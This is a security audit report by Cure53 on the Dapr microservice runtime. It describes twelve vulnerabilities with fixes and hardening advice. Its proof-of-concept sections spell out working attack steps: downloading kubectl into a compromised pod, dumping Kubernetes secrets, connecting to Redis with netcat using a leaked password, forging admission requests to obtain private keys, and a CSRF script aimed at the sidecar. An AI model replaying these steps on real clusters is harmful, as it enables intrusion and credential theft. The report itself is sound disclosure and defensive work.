Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report Dapr 06.2020

Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. R. Peraglie, J. Larsson

Index

Introduction
Scope
Test Coverage
Identified Vulnerabilities
DAP-01-002 WP2: Insufficient context separation leads to RCE (High)
DAP-01-003 WP1: HTTP Parameter Pollution through invocation (Low)
DAP-01-004 WP1: Sidecar injector API exposes sensitive client certificates (High)
DAP-01-005 WP2: Inadequate separation leads to cluster takeover (Critical)
DAP-01-006 WP2: Cross-Site Request Forgery into local Dapr sidecar (Medium)
DAP-01-008 WP2: Dapr allows extraction of Kubernetes secrets by default (High)
DAP-01-010 WP2: Invocation of out-of-scope topic handlers of PubSub (Info)
DAP-01-012 WP2: Missing authentication from Dapr API to application (Medium)
Miscellaneous Issues
DAP-01-001 WP1: Sidecar allows MDNS probes to docker network (Info)
DAP-01-007 WP2: HTTP Parameter Pollution in Azure SignalR binding (Info)
DAP-01-009 WP2: Potential DoS via RetryPolicy of state components (Medium)
DAP-01-011 WP2: HTTP Parameter Pollution in Hashicorp secret vault (Low)
Orchestration Hardening
Network Policy
Zero-Trust Concepts
RBAC
Secrets Management
Conclusions

Introduction

"Dapr is a portable, event-driven runtime that makes it easy for developers to build resilient, microservice stateless and stateful applications that run on the cloud and edge and embraces the diversity of languages and developer frameworks."

From https://dapr.io/#about

This report describes the results of a large-scale and thorough security assessment targeting the Microsoft Distributed Application Runtime (Dapr) software complex[1]. Carried out by Cure53 in summer 2020, the project entailed comprehensive penetration test and source code audit of the Dapr scope.

In terms of resources, the project was assigned to four members of the Cure53 team with best-suited expertise and skills. The testing team examined the scope in June 2020, namely in calendar weeks 24 and 25. A total budget allocated and utilized during the project stood at twenty person-days.

To best address the objectives expressed by the Dapr team, two work packages (WPs) were outlined. In WP1, Cure53 performed both a broad and thorough source code audit of the latest version of Dapr. The focus was explicitly placed on the Dapr main repository and the contained sources. Dapr also requested that particular attention is dedicated to finding logical flaws and deep-seated issues. With a shift in methods, WP2 encompassed penetration tests against Dapr integration and setup. The Cure53 team relied on a fully installed Kubernetes cluster, complete with sample applications that needed to be penetration-tested. The development requested extended insights into State Encapsulation, MitM attacks on Service Invocation, DoS attack mitigations, API Authentication and Pub/Sub scoping.

Since Dapr is available as open source software, the adopted methodology was clearly a white-box approach. Cure53 had access to sources, as well as received various test-supporting materials. The Dapr team clarified the threat model and precisely communicated their expectations in terms of coverage, pointing Cure53 to certain research avenues for exploration. Information on useful tests and additional software for experimentation were also indicated to the Cure53 testers by Dapr.

The project started on time and progressed efficiently. The communications between Cure53 and Dapr were done during this test in a dedicated and private Gitter channel. The medium is managed by Dapr personnel and Cure53 was invited to join the relevant project channel, which was then used for questions and feedback, as well as broader verifications of testing and auditing ideas or directions. Cure53 shared status updates and discussed findings with Dapr as they were emerging. The communications were

[1] https://cloudblogs.microsoft.com/opensource/2019/10/16/announcing-d...d-microservice-applications/

very helpful and productive, assisting the test and audit in moving forward swiftly. Given good choices and practices regarding methodology, setup and communications, Cure53 managed to carry out substantial research and acquired a very good coverage over the scope.

Cure53 managed to identify twelve security-relevant issues affecting the Dapr complex. Eight problems represent vulnerabilities and four indicate general weaknesses, characterized by typically lower exploitation potential or impact, as well as pointing to simply out-of-scope items. Note that one issue, namely DAP-01-005, was given a *Critical* severity rating because it would have tremendous impact and expose relatively straightforward exploitability levels. The issue was live-reported; a fix was deployed by Dapr and then verified by Cure53. Three additional issues were given *High* severity scores, also warranting being reported to Dapr while the test was still ongoing. Similarly as in the former case, the fixes were proposed, deployed and then verified. In addition, one issue documented as DAP-01-010 was reported but moved out-of-scope by the Dapr maintainers. Cure53 then lowered the severity of this item to *Informational* only.

In the following sections, the report will first shed light on the scope and key test parameters of this June 2020 testing exercise of Dapr. Next, all findings will be discussed in a chronological order alongside technical descriptions, as well as PoC and mitigation advice when applicable. Since most issues are reflective of a custom configuration and deployment choices of the developers - and eventually the operators, a section on *Orchestration Hardening* was included, detailing some general approaches to improving the security of a Dapr installation. Finally, the report will close with broader conclusions about this 2020 project. Cure53 elaborates on the general impressions and reiterates the verdict based on the testing team’s observations and collected evidence. Tailored hardening recommendations for Dapr are also incorporated into the final section.

Scope

- **Penetration Tests and Security Audits against Dapr**
  - **WP1**: Thorough Source Code Audits against latest version of Dapr
    - Focus was directed to the Dapr main repository
  - **WP2**: Penetration Tests against Dapr Integration & Setup
    - In scope were a sample node-app (for testing), state storage features, sidecar communications, control plane access, Sentry-services and Operator-services.
    - In further scope were a sample python-app (for testing), crypto implementations, secrets storage features, network filtering features, pub/sub mechanism implementations, authentication features and throttling.
  - **Sources**
    - Repository:
      - https://github.com/dapr/dapr.git
    - Commit ID in scope:
      - 9cfdf3b3c838db17fb1d5cd7723a181e8d64c1ae
  - **Test-supporting Material was shared with Cure53**
  - **Tools used to support the testing**
    - Dapr Shell Client
      - https://github.com/dapr/cli.git
    - Dapr Testing Samples
      - https://github.com/dapr/samples.git
  - **Dapr Documentation**
      - https://github.com/dapr/docs

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *DAP-01-001*) for the purpose of facilitating any future follow-up correspondence.

DAP-01-002 WP2: Insufficient context separation leads to RCE (*High*)

While analyzing the cluster configuration in scope, it was found that the running *pythonapp-dapr*, attached to the default namespace, is neither isolated by a default *NetworkPolicy*[2] / *SecurityPolicy*[3], nor filtered by default ingress or egress rules. If an attacker was able to gain a foothold on the pod, running the Python and *nodejs* sample applications in the default namespace, the attacker would be able to move laterally through that namespace.

Furthermore, since there is no *securityContext*[4] defined for containers, services or pods, an attacker would be able to download the *kubectl* binary and query the cluster for secrets; in this particular case the Kubernetes cluster stores secrets to *redis* instances, which will enable the attacker to establish a session to the *master-0 redis* pod.

PoC
Attacker has gained *shell* access to the Python application pod.

- Using *wget,* the attacker downloads the *kubectl* binary

```
wget
https://storage.googleapis.com/kubernetes-release/release/v1.8.4/bin/
linux/amd64/kubectl       Connecting       to       storage.googleapis.com
(216.58.208.112:443)
kubectl              100% |**************| 51107k  0:00:00 ETA
```

- Since the pod context-user is *root*, the attacker adds the execution bit to the downloaded *kubectl* binary and queries the default namespace for secrets.

```
chmod +x ./kubectl
./kubectl get secret --namespace default redis -o jsonpath="{.data.redis-
password}" | base64 -d  z7eIp0aMqP
```

[2] https://kubernetes.io/docs/concepts/services-networking/network-policies/
[3] https://kubernetes.io/docs/concepts/policy/pod-security-policy/
[4] https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

- The attacker now has the capability to use the *netcat* binary to interact with the protected *redis* instance and gain access to the configuration.

```
Linux pythonapp-b57b5897c-gfwj4 4.15.0-1082-azure #92~16.04.1-Ubuntu SMP
Tue Apr 14 22:28:34 UTC 2020 x86_64 Linux
/app # nc 10.0.18.50 6379
AUTH z7eIp0aMqP
+OK
PING
+PONG
CLIENT LIST
$155
id=194029 addr=10.244.2.7:41477 fd=9 name= age=60 idle=0 flags=N db=0
sub=0 psub=0 multi=-1 qbuf=12 qbuf-free=32756 obl=0 oll=0 omem=0 events=r
cmd=client
```

In order to ensure separation and proper isolation throughout the Kubernetes cluster, it is recommended to first implement and deploy a *securityContex*t for the running pod, in order to establish basic hardening to the runtime environment. Furthermore, it is recommended to craft and set up the security boundaries for the Dapr ecosystem in order to be able to properly implement namespace and service isolation, as well as to control pod-to-pod communication.

Fix note: *This issue was reported to the Dapr maintainers during the audit. It was mitigated by changing the service token to Dapr-sidecar and adding RBAC for the service-token.*

DAP-01-003 WP1: HTTP Parameter Pollution through invocation *(Low)*

It was found that the HTTP API of Dapr is vulnerable to a HTTP Parameter Pollution vulnerability when a service is locally or remotely invoked. The method parameter is received from the path of the web request and then URL-decoded. When forwarding the invocation request, the unsanitized parameter is concatenated onto the targeted URL. This introduces the risk of attackers passing HTTP parameters into the method parameter, which are then appended to the target request. This could be abused in scenarios where the attacker has full control over the method of an invocation request but is limited in manipulating the HTTP parameters directly.

HTTP request:

```
POST /v1.0/invoke/nodeapp/method/neworder%3fparam1=123 HTTP/1.1
Host: localhost:3500
User-Agent: curl/7.58.0
Accept: */*
Content-Type: application/json
Content-Length: 24
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
{"data":{"orderId":"1"}}
```

HTTP response:
```
HTTP/1.1 200 OK
Server: fasthttp
Date: Thu, 11 Jun 2020 23:33:11 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 0
Connection: keep-alive
X-Powered-By: Express
Traceparent: 00-693b5f482502f927af9ceaf6a22cfd26-3805b8a89aa30d5b-00
```

It is recommended to apply a positive-list to the method parameter, only permitting a limited character set and excluding the meta-characters which would allow adding or manipulating HTTP parameters. By doing so, HTTP parameters can only be set by sending them to the Dapr invocation request directly, giving the invoking service a chance to filter them beforehand. Furthermore, it is also advisable to notify users about eventual security risks as well as optionally positive-listing method names to protect users from falling into unrecognized pits.

DAP-01-004 WP1: Sidecar injector API exposes sensitive client certificates *(High)*

It was found that malicious code in the cluster can request sensitive client certificates from the side-injector admission controller, which is configured for Kubernetes. The admission controller is implemented as a webhook which is listening on the cluster. An attacker can forge an admission request and send it to the webhook exposed by the sidecar injector API. The API will then return a valid certificate pair which can be used to communicate with the Dapr sentry runtime. Instead, they can also be used to directly sign arbitrary certificates and communicate with other sidecars.

HTTP request:
```
POST /mutate HTTP/2
Host: 10.0.42.140
Content-Type: application/json
Content-Length: 205

{"kind":"Pod","apiVersion":"1.0", "request":{"kind":
{"kind":"Pod","version":"1.0","group":"abc"}, "object":{"metadata":
{"annotations":{"dapr.io/enabled":"true"}}, "spec":{"containers":[]}}},
"response":{}}
```

Base64-decoded JSON patch nested in HTTP response:
```
[ { "op": "add", "path": "/spec/containers", "value": [
       { "name": "daprd", "image": "docker.io/daprio/daprd:0.8.0",
       "command": [...], "args": [...], "ports": [...], "env": [...,
       {"name": "DAPR_TRUST_ANCHORS",
                 "value": "-----BEGIN CERTIFICATE-----\
nMIIBozCCAUmgAwI….2S6OsYalzqlaAc78Rk\n-----END CERTIFICATE-----\n"},
       {"name": "DAPR_CERT_CHAIN",
                 "value": "-----BEGIN CERTIFICATE-----\nMIIBajCCA….OH9yHYhLm\n-----
END CERTIFICATE-----\n"},
       {"name": "DAPR_CERT_KEY",
                 "value": "-----BEGIN EC PRIVATE KEY-----\
nMHcCAQEEII...j0aI1leluBVkV7jA==\n-----END EC PRIVATE KEY-----\n"},
```

It is recommended that the admission controller of the sidecar injector service gets authenticated, for instance with a client certificate specified in the Kubernetes configuration[5]. By doing so, the admission controller can only be used by subjects which know the private key of the client certificate, which will prevent unauthorized pods from abusing the admission controller.

DAP-01-005 WP2: Inadequate separation leads to cluster takeover (*Critical*)

It was found upon further investigation regarding implications of a compromised pod in the default namespace, the current configuration offers no resource separation throughout the different namespaces and resources in the Kubernetes cluster. If an attacker was able to establish an initial foothold on any of the pods inside of the cluster, the attacker will be able to access and list all secrets and assets for the entire cluster, which would in turn lead to a complete compromise.

PoC

```
/tmp # uname -a
Linux pythonapp-b57b5897c-gfwj4 4.15.0-1082-azure #92~16.04.1-Ubuntu SMP

/tmp # ./kubectl describe secrets --all-namespaces
```

Results excerpt:

```
name:          dapr-operator-token-m8nlp
Namespace:     dapr-system
Labels:        <none>
Annotations:   kubernetes.io/service-account.name=dapr-operator
kubernetes.io/service-account.uid=0bcfc7a2-bc44-40d7-9204-26627ff83eb9
Type:  kubernetes.io/service-account-token
Data
====
ca.crt:     1720 bytes
namespace:  11 bytes
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6I[...]

name:          azure-cloud-provider-token-gxq66
```

[5] Read more about configuring authentication within the admission controller
https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#experimenting-with-admission-webhooks

```
Namespace:     kube-system
Labels:        <none>
Annotations:   kubernetes.io/service-account.name=azure-cloud-provider
kubernetes.io/service-account.uid=95829bb3-c4ba-4d10-8b05-fb9ee88b5b13
Type:  kubernetes.io/service-account-token
Data
====
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6[...]
```

It is strongly recommended to implement RBAC[6] and configure access delegation for assets and resources in the cluster in order to offer what is conceptually referred to as defense-in-depth. In conjunction to the recommendations filled in DAP-01-002, the overall security boundaries and segmentation should be adopted cluster-wide in order to prevent a local attacker with an initial foothold from moving laterally through the cluster.

Fix note: *This issue was reported to the Dapr maintainers during the audit. It was mitigated by changing the service token to Dapr-sidecar and adding RBAC for the service-token.*

DAP-01-006 WP2: Cross-Site Request Forgery into local Dapr sidecar *(Medium)*

It was found that the local Dapr instance, which is listening on all interfaces, does not employ any API authentication or CSRF tokens in the default configuration. This allows attackers to launch a CSRF attack from a web browser into an instance of the sidecar running in the local network. This could, in turn, be abused by luring victims of the same network onto a web page which runs a JavaScript in the browser, resulting in unauthorized access or exploitation of local Dapr components.

PoC - content of malicious web page:

```
<script>
fetch("http://192.168.56.101:3500/v1.0/state/statestore",
       {method:"POST", body:JSON.stringify([{key:"order",value:"1"}])})
fetch("http://192.168.56.101:3500/v1.0/invoke/nodeapp/method/order")
</script>
```

It is recommended that the Dapr sidecar API should use randomly generated authentication tokens by default. Additionally, the Dapr sidecar should only be exposed to the loopback interface by default. Finally, on each request, the Content-Type header should be verified and enforced to *application/json* which requires all requests to obey the CORS policies. By doing so, the attack cannot be launched from remote machines and the authentication token is required by attackers.

[6] https://kubernetes.io/docs/reference/access-authn-authz/rbac/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

***Fix note:** This issue was reported to the Dapr maintainers and mitigated in the test environment by configuring a Dapr API authentication token. It is advised that respective instructions get added to the best security practices section of the documentation.*

DAP-01-008 WP2: Dapr allows extraction of Kubernetes secrets by default *(High)*

It was found that Kubernetes secrets of *statestore* components can be received from Dapr via the *getSecrets* API. This introduces the risk of attackers extracting passwords and sensitive secrets to authenticate at *statestore* components, eventually achieving the same impact as in DAP-01-002.

HTTP request:
```
GET /v1.0/secrets/kubernetes/redis?metadata.namespace=default HTTP/1.1
Host: localhost:3500
dapr-api-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
```

HTTP response body:
```
{"redis-password":"z7eIp0aMqP"}
```

It is recommended that only whitelisted secrets can be fetched through the *getSecrets* endpoint. The whitelist should be empty by default to prevent unintended leaks by unskilled developers using the framework out-of-the-box on Kubernetes. By doing so, exposure of secrets can be precisely controlled by the configurator. Therefore, a warning should always be included within the documentation of Dapr.

DAP-01-010 WP2: Invocation of out-of-scope topic handlers of PubSub *(Info)*

It was found that Dapr allows invoking handlers of topic routes which are out-of-scope for the publishing Dapr sidecar. This highlights the risk of attackers bypassing the PubSub component entirely, invoking the event routes for topics which are not allowed in the attackers' scope. This could be abused by attackers to leverage processing of crafted messages which were not authorized by Dapr.

HTTP request:
```
POST /v1.0/invoke/node-subscriber/method/A HTTP/1.1
Host: localhost:3500
User-Agent: curl/7.58.0
Accept: */*
Content-Type: application/json
Content-Length: 13

{"abc":"def"}
```

HTTP response:
```
HTTP/1.1 200 OK
Server: fasthttp
```

```
Date: Thu, 18 Jun 2020 16:18:41 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
X-Powered-By: Express
Etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc"

OK
```

It is recommended to bind the request data to a cryptographic signature containing Dapr-relevant meta-information to each publishing request sent by the Dapr sidecar. By doing so, the receiving application can verify that the request was actually issued by the Dapr sidecar. The set meta-information should include but not be limited to the origin and type of the invocation request. With such additional context, the receiving application can distinguish if the origin and type are related to a PubSub action, or if the invocation request was issued by a malicious pod in the cluster.

Note
It was concluded that the attacker-model of this issue is out-of-scope for this test and the severity of this issue was therefore degraded to Info.

DAP-01-012 WP2: Missing authentication from Dapr API to application (*Medium*)

It was found that Dapr was not using any form of authentication when sending requests to the application. At the same time, attackers from one pod could bypass the Dapr API and related authentication entirely and are, therefore, able to contact the application directly. Because Dapr does not support authentication when sending requests to the application, it cannot distinguish if the request originates from an authenticated Dapr session or from some other malicious pod in the cluster. The following request was sent from the Python app to the *node*-app despite a Dapr API token enabled.

HTTP request:
```
GET /order HTTP/1.1
Host: nodeapp-dapr.default.svc.cluster.local:3000
```

HTTP response:
```
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 34
ETag: W/"22-+gtWepbRjnRFBySZFl+p826qMeA"
Date: Fri, 19 Jun 2020 10:29:43 GMT
Connection: keep-alive

{"message":"Could not get state."}
```

It is recommended to authenticate the request originating from the Dapr API. This could be done by binding the request data to a cryptographic signature containing Dapr-relevant meta-information and similar claims to each publishing request sent by a sidecar. By doing so, the receiving application can verify the authenticity and integrity of the request data with the public key. Thus, it can be assured that the request was issued by the corresponding sidecar. This gives the receiving application the ability to distinguish if the request originated from a genuine pod in the cluster.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

DAP-01-001 WP1: Sidecar allows MDNS probes to docker network *(Info)*

It was found that access to the Dapr sidecar eventually gives attackers the ability to resolve docker MDNS network addresses, allowing them to probe for the presence of specific services in the docker network. When invoking a remote method through the Dapr sidecar, the ID parameter is received via the URL, specifying the target of the remote call. When running Dapr locally, the ID parameter is resolved with MDNS to an IP address that will be interpreted as the gRPC API of a Dapr sidecar. This introduces the risk of an attacker probing the presence of specific services registered through MDNS in the docker network.

Affected File
servicediscovery/mdns/mdns.go

Affected Code
```
func (z *resolver) ResolveID(req servicediscovery.ResolveRequest) (string, error) {
    address, err := lookupAddressMDNS(req.ID)
```

It is recommended to positive-list the names which will be resolved by MDNS. Alternatively, a prefix can be added to the hostname registered by each Dapr sidecar. By doing so, the likelihood that only Dapr-relevant hosts are resolved is increased, protecting the presence of all docker containers.

DAP-01-007 WP2: HTTP Parameter Pollution in Azure *SignalR* binding *(Info)*

It was found that the *SignalR* output binding of Dapr is vulnerable to a HTTP Parameter Pollution on service invocation. When invoking an operation on the *SignalR* output binding, the *hub*, *group* and *user* parameters are received from the attacker-controlled request. This is directly embedded into the path of the HTTP request launched to the Azure *SignalR* API. This allows attackers to inject dot characters ("..") to traverse the API path and execute different than the intended operations on the *SignalR* API, such as sending a message to a connection[7].

Affected File:
dapr/components-contrib/bindings/azure/signalr/signalr.go

Affected Code:
```
func (s *SignalR) resolveAPIURL(req *bindings.InvokeRequest) (string, error) {
    hub := s.hub
    [...]
    var url string
    if group, ok := req.Metadata[groupKey]; ok && group != "" {
        url = fmt.Sprintf("%s/api/v1/hubs/%s/groups/%s", s.endpoint, hub, group)
    } else if user, ok := req.Metadata[userKey]; ok && user != "" {
        url = fmt.Sprintf("%s/api/v1/hubs/%s/users/%s", s.endpoint, hub, user)
    } else {
        url = fmt.Sprintf("%s/api/v1/hubs/%s", s.endpoint, hub)
    }
```

It is recommended that the parameters are sanitized before embedding them into the URI path. This could be done by stripping all non-alphanumeric characters from the parameters before embedding them into the web path. By doing so, attackers cannot inject double dots and are forced to use the three actions offered by the output binding.

DAP-01-009 WP2: Potential DoS via *RetryPolicy* of state components *(Medium)*

It was found that the repeat count and sleep interval of the *RetryPolicy* within a *StateSet* request was not limited in any way. This signifies the risk of attackers supplying extreme values, which then could eventually be abused to deny the availability of the Dapr sidecar or increase the cost in cloud computing environments.

HTTP request:
```
POST /v1.0/state/statestore HTTP/1.1
Host: localhost:3500
User-Agent: curl/7.58.0
Accept: */*
dapr-api-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Content-Length: 150
```

[7] https://docs.microsoft.com/de-de/azure/azure-signalr/signalr-quickstart-re...message-to-a-connection

```
Content-Type: application/x-www-form-urlencoded

[{"value":"A", "key":"key", "etag":"2", "options":{"consistency":"strong", 
"retryPolicy":{"pattern":"linear","interval":10, "threshold":100000}}}]
```

HTTP response body:

```
HTTP/1.1 500 Internal Server Error
Server: fasthttp
Date: Thu, 18 Jun 2020 14:51:44 GMT
Content-Type: application/json
Content-Length: 79

{"errorCode":"ERR_STATE_SAVE","message":"failed to set value after 100000 
retries"}
```

Affected File:

github.com/dapr/components-contrib@v0.8.0/state/retry.go

Affected Code:

```
func SetWithRetries(method func(req *SetRequest) error, req *SetRequest) error {
    [...]
        if req.Options.RetryPolicy.Threshold > 0 {
              duration := req.Options.RetryPolicy.Interval
              for i := 0; i < req.Options.RetryPolicy.Threshold; i++ {
                     err := method(req)
                     if err == nil {
                            return nil
                     }
                     time.Sleep(duration)
                     [...]
              }
              return fmt.Errorf("failed to set value after %d retries", 
req.Options.RetryPolicy.Threshold)
        }
```

It is recommended that the parameters interval and threshold are limited with a maximum amount. By doing so, attackers cannot use a single request to maximize the runtime complexity of a single Dapr request. Additionally, a maximum number of elements in the *BulkSet* operation should be introduced. This will force attackers to split a *BulkSet* operation into multiple chunks, resulting in a higher number of requests which could be throttled by the API rate-limit implemented by Dapr.

DAP-01-011 WP2: HTTP Parameter Pollution in Hashicorp secret vault *(Low)*

It was found that the *SecretStore* implementation of the Hashicorp's secret vault is vulnerable to a HTTP Parameter Pollution vulnerability. This demonstrates the risk of the attackers injecting dot characters into the HTTP path, which modifies the queried resource. This could be abused to change the queried *KV*-prefix, resulting in the exposure of secrets unintended for Dapr.

Affected File:
github.com/dapr/components-contrib@v0.8.0/secretstores/hashicorp/vault/vault.go

Affected Code:
```
func (v *vaultSecretStore) GetSecret(req secretstores.GetSecretRequest)
(secretstores.GetSecretResponse, error) {
    token, err := v.readVaultToken()
    [...]
    vaultSecretPathAddr := fmt.Sprintf("%s/v1/secret/data/%s/%s?version=0",
v.vaultAddress, v.vaultKVPrefix, req.Name)
```

It is recommended to URL-encode the *Name* attribute of the *GetSecretRequest* struct before nesting it into the HTTP path. A full description of this mitigation is described in issues DAP-01-003 and DAP-01-007.

Orchestration Hardening

Network Policy

In order to widen the usage of defense-in-depth concepts, it is recommended to invest time into implementing network policies for the Kubernetes cluster. This will offer a more granular configuration in regards to isolation and segmentation throughout the cluster. One open source project that is widely adopted for securing Kubernetes deployment is Calico[8].

More information regarding Calico can be found here:
https://docs.projectcalico.org/introduction/
https://docs.projectcalico.org/security/calico-network-policy

The following post covers the Calico topology and workflow in regards to implementing network-policy concepts for the Kubernetes cluster:
https://medium.com/flant-com/calico-for-kubernetes-networking-792b41e19d69

Zero-Trust Concepts

Zero-trust concepts have emerged from the rapid migration to Cloud-based infrastructure. The concept of zero-trust does not solely rely on establishing network layer security models, but instead depends on a plethora of security-enhancing controls. As such, it is supposed to be integrated in all layers of a modern infrastructure. To get a good baseline and grasp the overall concept, Google has released some of their research, with technical papers which can be found at:
https://cloud.google.com/beyondcorp/.

In order to determine the right way forward, it is important to first establish and agree upon the threat model. For this, Dapr should pose and answer questions such as: What do we need to protect? Where are our security boundaries? This will act as the foundation for establishing a zero-trust concept relevant for the Dapr complex and can be seen as an important step for the near future. When added, it will establish an agreed-upon baseline for the technical security configuration to follow.

The current technology stack adopted by Dapr hinges upon projects that could be used to implement the security granularity seen as necessary for a zero-trust configuration. As mentioned above, Calico would be a matching project to further adopt to a zero[9] trust topologies on infrastructures based on Kubernetes.

[8] https://www.projectcalico.org/
[9] https://docs.projectcalico.org/v3.10/security/adopt-zero-trust

RBAC

In order to further develop and establish overall authorization concepts for the Dapr framework, Role-Based-Access-Controls (RBAC) should be adopted and recommended for running Dapr on production clusters. Moving to this approach will greatly enhance the capability to segment and isolate assets in the cluster. With supplying predefined RBAC schemata to explain the intended trust boundaries of the Dapr ecosystem, the risk of misconfiguration issues would be severely limited.

More information on RBAC-concepts for Kubernetes can be found at:
https://www.cncf.io/blog/2018/08/01/demystifying-rbac-in-kubernetes/
https://docs.bitnami.com/tutorials/configure-rbac-in-your-kubernetes-cluster/

Secrets Management

The current native Kubernetes secrets management services have their limitations in terms of managing, sharing and encrypting secrets used by the cluster. There is no binary approach to secret management and there will be trade-offs that have to be made when the native Kubernetes secrets are at play.

Several risks associated with running native Kubernetes secret[10] management concepts inside of a production cluster exist. One of the drawbacks is that anyone with *root* permissions on any node inside of the cluster will be able to read any secret from the API server by impersonating the kubelet. Currently there is no meaningful way to mitigate this risk: if a node inside of the cluster is breached, the overall integrity of all Kubernetes secrets should be considered compromised.

Furthermore, the API service is using *etcd* to store the secret data inside of the cluster. In order to protect the data, encryption[11] at rest can be enabled, also to cease storage of credentials in plain-text. This requires the cluster to run version 1.13 or later, which corresponds to access to *etcd* being restricted to highly-privileged accounts. If the *etcd* is running inside of the cluster, the current recommendation is to configure mTLS and ensure peer-to-peer communication.

In conjunction with storing secrets inside of the cluster, both JSON and YAML manifests may contain secrets that need to be protected. This is because secrets stored inside of a manifest are by default only Base64-encoded. If they are leaked, an attacker will be able to extract the encoded secrets, which in turn might facilitate compromising a service or even the complete Kubernetes cluster. Storing manifests containing secrets in repositories should be avoided. In order to ensure a safe deployment pipeline, a vault solution which allows for safe storage of sensitive information should be employed.

[10] https://kubernetes.io/docs/concepts/configuration/secret/#security-properties
[11] https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

Conclusions

The results of this Cure53 assessment of the Microsoft Distributed Application Runtime (Dapr) software complex are generally optimistic, even though the testing team managed to identify certain shortcomings on the scope. After spending twenty days on examining Dapr in June 2020, four members of the Cure53 can specifically conclude that the code quality has been evaluated as solid in terms of structure and readability. At the same time, it is paramount that the Dapr project is still in development, so it is strongly advised to plan and undergo another external assessment by a third-party once the release-readiness milestones are reached.

While it is clear that all twelve findings spotted on the Dapr scope should be resolved, at a meta-level. It is recommended to improve documentation describing best practices and common pitfalls, along with adding specific instructions about hardening. To first comment on the problems stemming from WP1, the majority of issues can be linked to missing or non-optimized default configurations or authentication leading to issues (see DAP-01-002, DAP-01-004, DAP-01-005, DAP-01-006, DAP-01-008, DAP-01-010, DAP-01-012). When combined with a general impression of the current development of Dapr hinting at offering the user a very secure framework, these findings show certain cleavages in modelling. Specifically, the utilized approaches must be configured, adapted and integrated into the application environment with great care and foresight.

Moreover, security of Dapr could be improved by tuning the default configurations foolproof and adding clear security boundaries and To-Do's to the relevant documentation. Through this course of action, Dapr could bloom by extending its security responsibility beyond the scope of the isolated Dapr framework, encompassing also its inter-connected components and applications. With such a revision, Dapr would add up to its inventive and scalable architecture with a fully intuitive security concept that guides its end-users through dangerous pitfalls and towards a consistently secure environment. Finally, WP1 also shows prominence of the HTTP Parameter Pollution issue type, as seen in DAP-01-003, DAP-01-007 and DAP-01-011. It is therefore advisable to focus on all locations that nest user-input into HTTP requests and confirm that parameters are properly encoded.

Moving on to WP2, Cure53 shall comment on deploying a secure Dapr system on the premise of the underlying orchestration engine. The latter needs to be able to configure and define security boundaries of the Dapr components. The issues found during this assessment showcase the potential security impact of an inadequate configuration, pointing to consequences for authorization, separation and segmentation. It is recommended to add configuration guidelines in terms of suggestions for Role-Based-Access-Controls (RBAC), as well as to reevaluate segmentation and separation policies.

The overall configuration and item-specific issues were shared with the Dapr team and swiftly mitigated for the most part. The in-house team added the appropriate configuration to promptly address the findings. As a recommendation going forward, Dapr could further develop the security configuration in their templates and configuration examples in the Dapr repository, again to clearly define the security boundaries of the framework.

While there is always a caveat to verdicts made about software complex at early development stages, Cure53 can state that Dapr was clearly implemented with security in mind thus far. Nevertheless, given the reach and range of findings, especially their respective severity levels, a lot of room for improvement is visible as well. As can be seen, several of the reported issues were already addressed or even fixed by the Dapr maintainers while the test was still ongoing, which is a very good sign. It is now time to address the remaining flaws, and to harden the implementation further. The Dapr team should work towards a goal of making sure that the issues remain closed and new flaws become harder to introduce. In essence, this June 2020 project shows that Dapr is on the right track. It is assumed that after a retest, the overall verdict can become even more positive.

Cure53 would like to thank the Dapr & Microsoft teams for their excellent project coordination, support and assistance, both before and during this assignment.